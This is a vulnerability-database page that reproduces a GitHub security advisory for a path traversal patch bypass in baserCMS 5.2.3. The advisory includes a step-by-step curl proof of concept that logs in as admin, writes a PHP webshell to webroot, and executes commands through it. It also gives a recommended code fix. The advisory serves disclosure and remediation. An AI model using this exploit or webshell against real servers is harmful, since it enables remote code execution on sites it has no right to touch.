llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Packagist · baserproject/baser-core

GHSA-2PJ4-V76F-WJVX

baserCMS: Path Traversal Bypass via realpath() in BcThemeFileService (CVE-2026-30940 Patch Bypass)

Texto original en inglés · Ver en español

Parche disponible
Descargar PNG JSON
CVSS 3.1
7.2
Alta
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versión5.3.0
Exposición1 dDesde la divulgación, 19 nov 2026, 7:17 p. m.
Detección1 minDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada +1
Explotación
Remediación
Monitoreo
Detectada
Fuente: GitHub Security Advisories +2
12:56 p. m.
07:17 p. m.
10:42 p. m.
12:56 p. m.
03:23 a. m.
05:49 p. m.
08:15 a. m.
10:42 p. m.
FechaFaseEventoDetalle
Monitoreo Detectada Ingresó al índice
Divulgación Publicada GHSA-2PJ4-V76F-WJVX divulgada · CVSS 7.2 (GitHub)
Divulgación Modificada Última actualización del registro
Monitoreo Fuente: GitHub Security Advisories Registro visto por primera vez en GitHub Security Advisories
Monitoreo Fuente: OSV Registro visto por primera vez en OSV
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

The security patch introduced in baserCMS 5.2.3 to address CVE-2026-30940 / GHSA-c5c6-37vq-pjcq https://github.com/baserproject/basercms/security/advisories/GHSA-c5c6-37vq-pjcq is incomplete. The patch added a `realpath()`-based directory traversal check in `BcThemeFileService::getFullpath()`, but the check is entirely skipped when `realpath($baseDir)` returns `false` — which occurs whenever the target subdirectory does not physically exist on disk.

An authenticated administrator can bypass the patch by supplying a `type` value (e.g., `js`) that maps to a non-existent directory in the theme. The absence of the directory causes `realpath()` to return `false`, the validation block is skipped, and the raw `path` parameter containing `../` sequences is returned unvalidated. This enables arbitrary file write and remote code execution (RCE) — the exact same impact as the original CVE.

This vulnerability was verified exploitable on baserCMS 5.2.3 (the "patched" version of CVE-2026-30940).

Details

The vulnerability exists in `BcThemeFileService::getFullpath()` at `plugins/bc-theme-file/src/Service/BcThemeFileService.php` lines 70–82 https://github.com/baserproject/basercms/blob/5.2.x/plugins/bc-theme-file/src/Service/BcThemeFileService.php#L70:

public function getFullpath(string $theme, string $plugin, string $type, string $path)
{
    // ...build $baseDir and $fullPath from $theme, $type, $path...
    $baseDir  = $viewPath . $type . DS;      // e.g. .../BcThemeSample/webroot/js/
    $fullPath = $baseDir  . $path;           // e.g. .../webroot/js/../../../../webroot/

    $resolvedBase = realpath($baseDir);
    if ($resolvedBase !== false) {           // ← BYPASS: entire block skipped when dir absent
        $resolvedBase = rtrim($resolvedBase, DS) . DS;
        $targetDir = realpath(dirname($fullPath));
        if ($targetDir === false) {
            $targetDir = $this->normalizePath(dirname($fullPath));
        }
        if (!str_starts_with(rtrim($targetDir, DS) . DS, $resolvedBase)) {
            throw new BcException(__d('baser_core', 'パスにテーマディレクトリ外への参照が含まれています。'));
        }
    }

    return $fullPath;   // ← Returns unvalidated path when realpath returns false
}

Root cause — the bypass condition:

| `realpath($baseDir)` result | Behavior |
|-----------------------------|----------|
| Valid path string (dir exists) | Validation runs → `../` traversal blocked ✓ |
| `false` (dir does not exist) | Validation skipped entirely → `../` traversal allowed ✗ |

Difference from CVE-2026-30940 (original bug):

| | CVE-2026-30940 (≤ 5.2.2) | This bypass (5.2.3) |
|--|--|--|
| Validation | None at all | `realpath()` check — but conditional |
| `type` needed | Any valid type (`layout`, `cell`, …) | Must map to a non-existent subdirectory |
| `path` blocked | Never | Only when target dir already exists |
| Root cause | Missing validation | `if ($resolvedBase !== false)` skips false case |

PoC

Prerequisites:
- baserCMS 5.2.3 (the officially patched version of CVE-2026-30940)
- Admin credentials
- `USE_CORE_ADMIN_API=true` in `.env`
- BcThemeFile plugin installed and BcThemeSample theme loaded

Step 1 — Login and obtain JWT token:

curl -s -X POST "http://localhost/baser/api/admin/baser-core/users/login.json" \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@example.com","password":"password"}'
# Response: {"access_token":"eyJ0eXA...","refresh_token":"eyJ0eXA..."}

Step 2 — Verify bypass condition (webroot/js/ must not exist):

The bypass requires `type=js` to map to a non-existent directory. Confirm:

# webroot/js/ does NOT exist → realpath() returns false → validation SKIPPED
ls plugins/BcThemeSample/webroot/
# Expected output: css  img   (no js/)

Step 3 — Exploit: write PHP webshell directly to webroot:

Path calculation from `baseDir = .../BcThemeSample/webroot/js/`:
- `js/` (1 up) → `webroot/`
- `webroot/` (2 up) → `BcThemeSample/`
- `BcThemeSample/` (3 up) → `plugins/`
- `plugins/` (4 up) → `/var/www/html/` + `webroot/`
- Result: `../../../../webroot/` → `/var/www/html/webroot/`

TOKEN="eyJ0eXA..."   # from step 1

curl -s -X POST "http://localhost/baser/api/admin/bc-theme-file/theme_files/add.json" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "theme":    "BcThemeSample",
    "plugin":   "",
    "type":     "js",
    "path":     "../../../../webroot/",
    "base_name":"rce_direct",
    "ext":      "php",
    "contents": "<?php echo shell_exec($_GET[\"c\"]); ?>"
  }'
# Response: HTTP 200 {"message":"ファイル「rce_direct.php」を作成しました。",...}

Step 4 — Execute RCE:

curl "http://localhost/rce_direct.php?c=id"
# Output: uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)

Verified output (Docker, baserCMS 5.2.3):

=RCE_DIRECT=uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)
Impact

An authenticated administrator can achieve remote code execution by writing an arbitrary PHP file to any directory accessible by the web server — including `webroot/`, `config/`, or `tmp/`. This is the identical impact as CVE-2026-30940, rendering the 5.2.3 patch ineffective.

The vulnerability is particularly significant because:

  1. Patch bypass: Operators and users who upgraded to 5.2.3 specifically to address CVE-2026-30940 remain vulnerable.
  2. Arbitrary directory write: The bypass allows writing to `webroot/` (directly HTTP-accessible), `config/` (application configuration), or any other directory writable by the PHP process.
  3. File deletion and overwrite: Beyond RCE, the attacker can delete or overwrite critical files, causing denial of service or persistent backdoors.
  4. One-shot per non-existent directory: The exploit creates the target directory as a side effect. Rotating to other unused `type` values (e.g., `font`, `audio`, any arbitrary string) restores the bypass condition.

CVSS v3.1: `AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H` — Score: 7.2 (High)
Same as CVE-2026-30940 — attack complexity is unchanged by the incomplete patch.

Recommended Fix

The patch must validate the path unconditionally, regardless of whether `$baseDir` exists on disk. Replace the `realpath()`-conditional block with `normalizePath()` (already defined in the same class):

// CURRENT (vulnerable — skips validation when $baseDir does not exist)
$resolvedBase = realpath($baseDir);
if ($resolvedBase !== false) {
    // ... validation only runs here ...
}
return $fullPath;

// FIXED — always validate using normalizePath()
$normalizedBase   = rtrim($this->normalizePath($baseDir),            DS) . DS;
$normalizedTarget = rtrim($this->normalizePath(dirname($fullPath)),  DS) . DS;

if (!str_starts_with($normalizedTarget, $normalizedBase)) {
    throw new BcException(__d('baser_core', 'パスにテーマディレクトリ外への参照が含まれています。'));
}
return $fullPath;

Additionally, the `path` and `ext` parameters should be validated at the API controller layer:

// In ThemeFilesController — validate before calling getFullpath()
if (preg_match('/\.\./', $data['path'])) {
    throw new BcException('Invalid path parameter.');
}
if (!preg_match('/^[a-zA-Z0-9]+$/', $data['ext'])) {
    throw new BcException('Invalid extension.');
}
References
  • GHSA-c5c6-37vq-pjcq — Original CVE-2026-30940 advisory https://github.com/baserproject/basercms/security/advisories/GHSA-c5c6-37vq-pjcq
  • CWE-22: Path Traversal https://cwe.mitre.org/data/definitions/22.html
  • CWE-706: Use of Incorrectly-Resolved Name or Reference https://cwe.mitre.org/data/definitions/706.html
  • OWASP Path Traversal https://owasp.org/www-community/attacks/Path_Traversal
  • `plugins/bc-theme-file/src/Service/BcThemeFileService.php` — `getFullpath()`, lines 70–82
  • `plugins/bc-theme-file/src/Form/ThemeFileForm.php` — `_execute()`, lines 64–69
  • `plugins/bc-theme-file/src/Controller/Api/Admin/ThemeFilesController.php` — `add()`, lines 38–60

### Attribution
Reported by Nguy Minh Tuan of Sun* Cyber Security Research Team.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:H
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
5.0/ 10Medio
Vector 5.0 (moderada) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida
baserproject/baser-core< 5.3.0
5.3.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Packagistbaserproject/baser-core
Corregida 5.3.0 — —
Versiones corregidas5.3.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-62955
Otrahttps://github.com/baserproject/basercms/security/advisories/GHSA-2pj4-v76f-wjvx
Otrahttps://github.com/baserproject/basercms/commit/464227b8770704076ee6eddd4bd464c184786eca
Otrahttps://github.com/baserproject/basercms/commit/c650017acf5dfbfd15eb2f3eda07967bcb002be2
Otrahttps://github.com/baserproject/bc-theme-file/commit/a8f90096f13eca576a87cb25aa02e8f54642af7e
Otrahttps://github.com/baserproject/basercms
Otrahttps://github.com/baserproject/basercms/releases/tag/5.3.0

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.